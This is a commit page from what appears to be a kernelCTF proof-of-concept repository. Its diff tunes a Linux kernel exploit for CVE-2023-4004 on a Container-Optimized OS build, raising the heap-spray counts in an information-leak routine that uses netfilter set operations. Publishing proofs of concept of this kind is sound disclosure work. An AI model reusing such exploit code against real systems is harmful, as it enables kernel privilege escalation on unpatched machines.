Change cos exploit

google · Sep 12, 2023 · 153f9bd · 153f9bd
1 parent c9a48ed
commit 153f9bd
Show file tree

Hide file tree

Showing 2 changed files with 2 additions and 2 deletions.
diff --git a/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/exploit/cos-105-17412.101.17/exploit b/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/exploit/cos-105-17412.101.17/exploit
diff --git a/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/exploit/cos-105-17412.101.17/exploit.c b/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/exploit/cos-105-17412.101.17/exploit.c
@@ -204,11 +204,11 @@ int leak_info(struct nl_sock * socket){
     new_setelem(socket,SET_TABLE,set_name,a,0x88+3);
     elem_flush(socket,SET_TABLE,set_name);
     puts("Start spray tables");
-    spray_tables(socket,0x400, a, 0xd8);
+    spray_tables(socket,0x600, a, 0xd8);
     puts("Finish spray tables");
     elem_flush(socket,SET_TABLE,set_name);
     puts("Start spray objects");
-    spray_objects(socket, 0x400);
+    spray_objects(socket, 0x600);
     puts("Finish spray objects");
 
     nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_table, NULL);